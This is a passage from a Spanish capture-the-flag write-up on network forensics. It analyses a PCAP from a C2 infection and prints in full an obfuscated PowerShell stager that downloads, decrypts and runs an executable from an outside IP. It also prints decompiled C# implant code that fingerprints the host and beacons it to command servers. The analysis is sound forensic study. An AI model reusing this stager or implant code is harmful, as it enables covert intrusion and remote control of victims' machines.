Interstellar C2
20 minutos de lectura
Se nos proporciona un archivo PCAP llamado capture.pcapng
. Vamos a verlo en Wireshark:
Como siempre, es bueno comenzar a analizar protocolos de alto nivel como HTTP, así que apliquemos un filtro:
La primera petición se intenta descargar un script de PowerShell llamado vn84.ps1
:
Desofuscación de PowerShell
Podemos tomar el script de Wireshark y leerlo aquí:
.("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so') ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ; &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3 ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte')); .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle') BI34 ( [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo')); ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf}, ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c') ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} = (&('GI') VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(), (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V') bI34 -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"
Bueno, no es muy legible, ¿verdad? Está ofuscado, pero podemos transformarlo un poco evaluando algunas expresiones en PowerShell:
$ pwsh
PowerShell 7.3.3
PS .../Interstellar C2> "{1}{0}{2}" -f'T','Set-i','em'
Set-iTem
PS .../Interstellar C2> "{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte'
sYStem.SeCuRiTY.crypTOgRAphY.aeS
PS .../Interstellar C2> "{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo'
sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE
PS .../Interstellar C2> ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
PS .../Interstellar C2> ${U`Rl}
http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51
PS .../Interstellar C2> "{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a'
System.Security.Cryptography.CryptoStream
PS .../Interstellar C2> "{2}{3}{1}{0}" -f'ent','t-Cont','S','e'
Set-Content
Después de un poco de análisis, podemos suponer que el script está haciendo una petición web a /94974f08-5853-41ab-938a-ae1bd86d8e51
y descifrando el contenido con AES. De hecho, hay una petición GET a esta URL:
Descifrando el ejecutable de malware
Exporté los datos de respuesta a un archivo llamado payload.bin
(usando la opción Export Packet Bytes...
desde Wireshark). Usando Python, podemos descifrar el payload con la clave y el IV del script de PowerShell:
$ file payload.bin
payload.bin: data
$ python3 -q
>>> from Crypto.Cipher import AES
>>>
>>> key = bytes((0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0))
>>> iv = bytes((0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1))
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> with open('payload.bin', 'rb') as f:
... enc = f.read()
...
>>> data = cipher.decrypt(enc)
>>> data[:20]
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00'
De los bytes mágicos, vemos que el payload descifrado es en realidad un Windows PE, así que lo guardamos en un archivo:
>>> with open('malware.exe', 'wb') as f:
... f.write(data)
...
18960
>>> exit()
$ file malware.exe
malware.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Descompilación de C# .NET
Dado que el archivo ejecutable se compila de C# .NET, podemos descompilarlo y leer el código fuente de C# usando herramientas como JetBrains dotPeek, ILSpy o dnSpy.
La función Main
solamente llama a Sharp
:
public static void Main()
{
Sharp(0L);
}
public static void Sharp(long baseAddr = 0L)
{
DllBaseAddress = new IntPtr(baseAddr);
if (!string.IsNullOrEmpty("") && !Environment.UserDomainName.ToLower().Contains("".ToLower()))
{
return;
}
IntPtr consoleWindow = GetConsoleWindow();
ShowWindow(consoleWindow, 0);
AUnTrCrts();
int num = 30;
int num2 = 60000;
ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
while (true && num > 0)
{
try
{
primer();
}
catch
{
num--;
manualResetEvent.WaitOne(num2);
num2 *= 2;
continue;
}
break;
}
IntPtr currentThread = GetCurrentThread();
TerminateThread(currentThread, 0u);
}
Y, como se puede ver, Sharp
intenta llamar primer
:
private static void primer()
{
if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now))
{
return;
}
dfs = 0;
string text = "";
try
{
text = WindowsIdentity.GetCurrent().Name;
}
catch
{
text = Environment.UserName;
}
if (ihInteg())
{
text += "*";
}
string userDomainName = Environment.UserDomainName;
string environmentVariable = Environment.GetEnvironmentVariable("COMPUTERNAME");
string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
int id = Process.GetCurrentProcess().Id;
string processName = Process.GetCurrentProcess().ProcessName;
Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
string text2 = null;
string text3 = null;
string[] array = basearray;
for (int i = 0; i < array.Length; dfs++, i++)
{
string text4 = array[i];
string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
text3 = text4;
string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
try
{
string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
text2 = Decryption(key, enc);
}
catch (Exception ex)
{
Console.WriteLine($" > Exception {ex.Message}");
continue;
}
break;
}
if (string.IsNullOrEmpty(text2))
{
throw new Exception();
}
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
}
Esta función recopila información sobre la máquina donde se está ejecutando y la almacena en una variable llamada un
. Entonces, tenemos esta parte relevante del código:
// ...
for (int i = 0; i < array.Length; dfs++, i++)
{
string text4 = array[i];
string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
text3 = text4;
string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
try
{
string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
text2 = Decryption(key, enc);
}
// ...
Nuevamente, está realizando una petición web, esta vez a /Kettie/Emmie/Anni?Theda=Merrilee?c
. Y aparece en el archivo PCAP:
Parecen datos codificados en Base64. Por el momento, podemos guardarlo como un archivo llamado kettie.b64
.
En primer lugar, hay una llamada a Encryption
con key
y un
como argumentos:
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
byte[] array = null;
array = ((unByte == null) ? Encoding.UTF8.GetBytes(un) : unByte);
if (comp)
{
array = Compress(array);
}
try
{
SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, null);
byte[] second = symmetricAlgorithm.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(symmetricAlgorithm.IV, second));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, null, rij: false);
byte[] second2 = symmetricAlgorithm2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(symmetricAlgorithm2.IV, second2));
}
}
Esta función usa AES con la clave proporcionada para cifrar algunos datos (un
). Esta función podría comprimir el texto en texto claro antes de cifrar con Compress
(compresión GZIP):
private static byte[] Compress(byte[] raw)
{
using MemoryStream memoryStream = new MemoryStream();
using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress, leaveOpen: true))
{
gZipStream.Write(raw, 0, raw.Length);
}
return memoryStream.ToArray();
}
El resultado de Encryption
es el IV (16 bytes) más el texto cifrado en codificación Base64.
Recordemos que la salida de Encryption(key, un)
se pasaba a GetWebRequest
:
private static WebClient GetWebRequest(string cookie)
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
WebClient webClient = new WebClient();
string text = "";
string text2 = "";
string password = "";
if (!string.IsNullOrEmpty(text))
{
WebProxy webProxy = new WebProxy();
webProxy.Address = new Uri(text);
webProxy.Credentials = new NetworkCredential(text2, password);
if (string.IsNullOrEmpty(text2))
{
webProxy.UseDefaultCredentials = true;
}
webProxy.BypassProxyOnLocal = false;
webClient.Proxy = webProxy;
}
else if (webClient.Proxy != null)
{
webClient.Proxy!.Credentials = CredentialCache.DefaultCredentials;
}
string value = dfarray[dfs].Replace("\"", string.Empty).Trim();
if (!string.IsNullOrEmpty(value))
{
webClient.Headers.Add("Host", value);
}
webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36");
webClient.Headers.Add("Referer", "");
if (cookie != null)
{
webClient.Headers.Add(HttpRequestHeader.Cookie, $"SessionID={cookie}");
}
return webClient;
}
Varios descifrados
Como se puede ver, la información cifrada está presente en la cabecera Cookie
:
Intentemos descifrarla:
$ python3 -q
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>>
>>> key = b64d('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
>>> enc = b64d('9kx6dwfjkvpCrgA6Zr0Uyq9vv8hFR4G/1UiAtxFd/ERlJLGjlGeLrck85YBMyBfEfSpJzwZRVuiHgxSaFXbT8vdB6QqsurfO8Iaudfu0Gh8=')
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(ct)
b'DESKTOP;DESKTOP\\IEUser*;DESKTOP;AMD64;6796;tmp7102591;1\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Genial, hemos descifrado con éxito la información de la máquina (aunque es irrelevante).
Después de esta etapa, el programa toma los datos de respuesta, los descifra (guardado como text2
) y los procesa (todavía en la función primer
):
// ...
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
}
Entonces, tomamos el payload de Base64 y lo desciframos con AES:
>>> with open('kettie.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = cipher.decrypt(ct)
>>> data[:20]
b'ClJBTkRPTVVSSTE5OTAx'
Parece que los datos descifrados están nuevamente codificados en Base64. Se puede ver en Decryption
:
private static string Decryption(string key, string enc)
{
byte[] array = Convert.FromBase64String(enc);
byte[] array2 = new byte[16];
Array.Copy(array, array2, 16);
try
{
SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));
byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);
byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(new char[1])));
}
finally
{
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, 16);
}
}
Entonces, vamos a decodificarlo:
>>> data = b64d(data)
>>> data[:20]
b'\nRANDOMURI19901dVfhJ'
>>> data.decode()
'\nRANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR\nURLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU\nKILLDATE16652025-01-015661ETADLLIK\nSLEEP980013s10089PEELS\nJITTER20250.25202RETTIJ\nNEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN\nIMGS19459394"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"49395491SGMI'
Ejecución de comandos
Esto parece una cadena aleatoria, pero hay partes que son relevantes. De hecho, el programa utiliza RegEx para analizar esta cadena y tomar valores específicos. Por ejemplo, hay una nueva clave AES entre NEWKEY8839394
y 4939388YEKWEN
(la misma cadena al revés), que es nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
. También podemos ver más URLs. Por ejemplo, la siguiente petición va a:
/Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/4b6ab472-7d73-4a7e-95d0-2f691d8424dc/?dVfhJmc2ciKvPOC
Y todas estas cadenas aparecen en el payload anterior. Entonces, el programa entra en ImplantCore
:
private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
UrlGen.Init(stringURLS, RandomURI, baseURL);
ImgGen.Init(stringIMGS);
pKey = Key;
int num = 5;
Regex regex = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
Match match = regex.Match(Sleep);
if (match.Success)
{
num = Parse_Beacon_Time(match.Groups["t"].Value, match.Groups["u"].Value);
}
StringWriter stringWriter = new StringWriter();
Console.SetOut(stringWriter);
ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
StringBuilder stringBuilder = new StringBuilder();
double result = 0.0;
if (!double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out result))
{
result = 0.2;
}
string cmd;
while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - result)), (int)((double)(num * 1000) * (1.0 + result)))))
{
if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
{
Run = false;
manualResetEvent.Set();
continue;
}
stringBuilder.Length = 0;
try
{
string text = "";
cmd = null;
try
{
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
text = Decryption(Key, cmd).Replace("\0", string.Empty);
}
catch
{
goto end_IL_00f1;
}
if (!text.ToLower().StartsWith("multicmd"))
{
continue;
